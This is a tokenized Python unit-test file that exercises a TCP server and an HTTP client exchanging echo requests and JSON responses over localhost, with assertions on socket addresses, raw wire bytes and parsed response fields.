"echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "beta_", "._", "connector_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "bytes_", "(_", "beta_", "._", "respond", "ent_", "._", "body_", ")_", ",_", "b", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "respond", "ent_", "._", "data_", ",_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "respond", "ent_", "._", "headers_", "._", "items_", "(_", ")_", ",_", "[_", "(_", "'", "content", "-", "length", "'_", ",_", "'", "122", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "content", "-", "type", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "date", "'_", ",_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "server", "'_", ",_", "'", "Io", "Boo", "k", ".", "local", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Pipe", "line", "Ech", "o_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "pipeline", " ", "servic", "ing", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Pipe", "line", "Ech", "o_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Connect", "or", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "alpha_", "._", "eh", "a_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reconnect", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "connector_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connector_", "._", "connected_", "and_", "beta_", "._", "connector_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "connector_", "._", "ca_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "connector_", "._", "ha_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "connector_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "connector_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "connector_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "connector_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "odict_", "(_", "[_", "(_", "'", "method", "'_", ",_", "u", "'", "GET", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "path", "'_", ",_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "qa", "rg", "s", "'_", ",_", "odict_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fragment", "'_", ",_", "u", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "header", "s", "'_", ",_", "odict_", "(_", "[_", "(_", "'", "Accept", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "body", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "from", " ", "{", "0", "}:", "{", "1", "},", " ", "{", "2", "}", " ", "{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "beta_", "._", "connector_", "._", "ha_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "ha_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "[_", "'", "method", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "[_", "'", "path", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "beta_", "._", "requests_", "or_", "beta_", "._", "connector_", "._", "tx", "es_", ")_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "127", ".0", ".0", ".1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"\\\\", "n", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", " ", "again", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "from", " ", "{", "0", "}:", "{", "1", "},", " ", "{", "2", "}", " ", "{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "beta_", "._", "connector_", "._", "ha_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "ha_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "[_", "'", "method", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "[_", "'", "path", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "beta_", "._", "requests_", "or_", "beta_", "._", "connector_", "._", "tx", "es_", ")_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", 